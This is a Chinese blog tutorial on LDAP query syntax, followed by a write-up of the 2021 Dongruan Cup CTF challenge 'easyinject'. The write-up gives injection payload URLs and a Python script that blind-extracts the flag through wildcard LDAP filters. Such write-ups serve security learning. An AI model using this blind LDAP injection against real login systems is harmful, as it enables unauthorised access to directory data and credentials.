关于ldap详细原理可以参考这两位大佬的博客:


 

目录

一、什么是LDAP?

(一)目录服务

(二)LDAP的介绍:

(三)为什么要使用

二、LDAP关于查询的基本语法

  1、基本语法规则

  2、四种常见的逻辑表达式来表示查询操作

三、LDAP注入

四、[2021东软杯_WEB]easyinject题解


一、什么是LDAP?


(一)目录服务



在介绍什么是LDAP之前,我们先来复习一个东西:“什么是目录服务?



    1. 目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。



    2. 是动态的,灵活的,易扩展的。



    如: 人员组织管理,电话簿,地址簿。





(二)LDAP的介绍:



LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。



目录是一个为 查询 浏览 搜索而优化的数据库,它 成树状结构组织数据,类似文件目录一样。



目录数据库和关系数据库不同,它有 优异的读性能 ,但 写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。



LDAP目录服务是由目录数据库和一套访问协议组成的系统。





(三)为什么要使用



LDAP是开放的Internet标准,支持跨平台的Internet协议,在业界中得到广泛认可的,并且市场上或者开源社区上的大多产品都加入了对LDAP的支持,因此对于这类系统,不需单独定制,只需要通过LDAP做简单的配置就可以与服务器做认证交互。“简单粗暴”,可以大大降低重复开发和对接的成本。
 




二、LDAP关于查询的基本语法



   



  1、基本语法规则



        LDAP语句是以' ( '和' ) '来作为一个单元,然后通过一些逻辑符号进行拼接形成一个语句(这一点有点类似于数理逻辑里面的那些式子的拼接方式);




  2、四种常见的逻辑表达式来表示查询操作



      先简单来说一下这4种操作:



givenName=John)



        ②& (逻辑与) 表示‘且’,两者同时为真才是真,例如: (&(givenName=John)(l=Dallas))



        ③ ! (逻辑非) 表示‘非’,对返回值取反,例如: (!givenName=John)



        ④ * (通配符) 用于模糊查询, 可使用通配符表示值可以等于任何值,例如: (title=*)或者 (givenName=Jo*)




 下面是操作的详细讲解:



   


=(等于)



此 LDAP 参数表明某个属性等于某个值的条件得到满足。例如,如果希望查找 “ 名 “ 属性为 “John” 的所有对象,可以使用:



(givenName=John)



这会返回 “ 名 ” 属性为 “John” 的所有对象。圆括号是必需的,以便强调 LDAP 语句的开始和结束。

&(逻辑与)



如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在 Dallas 并且 “ 名 ” 为 “John” 的所有人员,可以使用:



(&(givenName=John)(l=Dallas))



请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。

!(逻辑非)



此操作符用来排除具有特定属性的对象。假定您需要查找 “ 名 ” 为 “John” 的对象以外的所有对象。则应使用如下语句:



(!givenName=John)



此语句将查找 “ 名 ” 不为 “John” 的所有对象。请注意: ! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明。

*(通配符)



可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:



(title=*)



这会返回 “title” 属性包含内容的所有对象。另一个例子是:您知道某个对象的 “ 名 ” 属性的开头两个字母是 “Jo” 。那么,可以使用如下语法进行查找:



(givenName=Jo*)



这会返回 “ 名 ” 以 “Jo” 开头的所有对象。

以下是 LDAP 语法的高级使用示例:



LDAP 对接 mysql ldap web_LDAP 对接 mysql   注意:



! 操作符与通配符的结合使用可查找属性未设置为任何值的对象。



您需要一个筛选条件,用来查找居住在 Dallas 或 Austin ,并且名为 “John” 的所有对象。使用的语法应当是:


(&(givenName=John)(|(l=Dallas)(l=Austin)))

您发现应用程序日志中有 9,548 个事件,因此需要查找导致这些日志事件的所有对象。在此情况下,您需要查找所有被禁用的用户 ( msExchUserAccountControl =2) ,这些用户的 msExchMasterAccountSID 没有值。使用的语法应当是:


(&(msExchUserAccountControl=2)(!msExchMasterAccountSID=*))

三、LDAP注入



LDAP注入类似于SQL注入,



四、[2021东软杯_WEB]easyinject题解



首先拿到题目,先查看源码可以发现:





LDAP 对接 mysql ldap web_其他_02



然后输入访问


?user=guest&pass=EC77k8RHquAMLKAX





LDAP 对接 mysql ldap web_数据库_03



提示说flag是由a-z0-9_组成;



然后呢,我就想到了会不会是SQL盲注,于是尝试:


?user=0'+and+length()&pass=EC77k8RHquAMLKAX


结果居然报错了!




LDAP 对接 mysql ldap web_数据库_04




观察可以发现这是个 LDAP数据库;



然后就试一下*会怎么样


?user=*&pass=EC77k8RHquAMLKAX





LDAP 对接 mysql ldap web_LDAP 对接 mysql_05



果然,不出所料,有不同的返回值了!


然后经过多次尝试,可以知道一共有三种回显: 密码错误,查询用户不唯一,一大串英文



然后,结合flag的特点!!具有下划线' _  '



于是可以有了一个小小的思路,可以模糊测试盲注出: 下划线左边的所有的值和下划线右边所有的值。


这就有了python脚本



代码潦草,大佬轻喷



import requests
 
lis='1234567890qwertyuiopasdfghjklzxcvbnm_'
def dfs2(p):
    biaoji=0
    for i in lis:       
        
        url='http://47.106.172.144:2333/?user=*'+str(i)+p+'*&pass=EC77k8RHquAMLKAX'
        re=requests.get(url)
        if '密码错误' in re.text:           
            p=i+p
            print(p)
            dfs2(p)          
            p=p[1:]

  

def dfs1(p):

    for i in lis:       
        
        url='http://47.106.172.144:2333/?user=*'+p+i+'*&pass=EC77k8RHquAMLKAX'
        re=requests.get(url)
        if '密码错误' in re.text:           
            p=p+i
            print(p)
            dfs1(p)
            dfs2(p)
            p=p[0:-1]

          
dfs1('_')




运行结果:



LDAP 对接 mysql ldap web_数据库_06



最后我们加上flag的衣服得到


flag{ldapli_1s_v3ry_ez}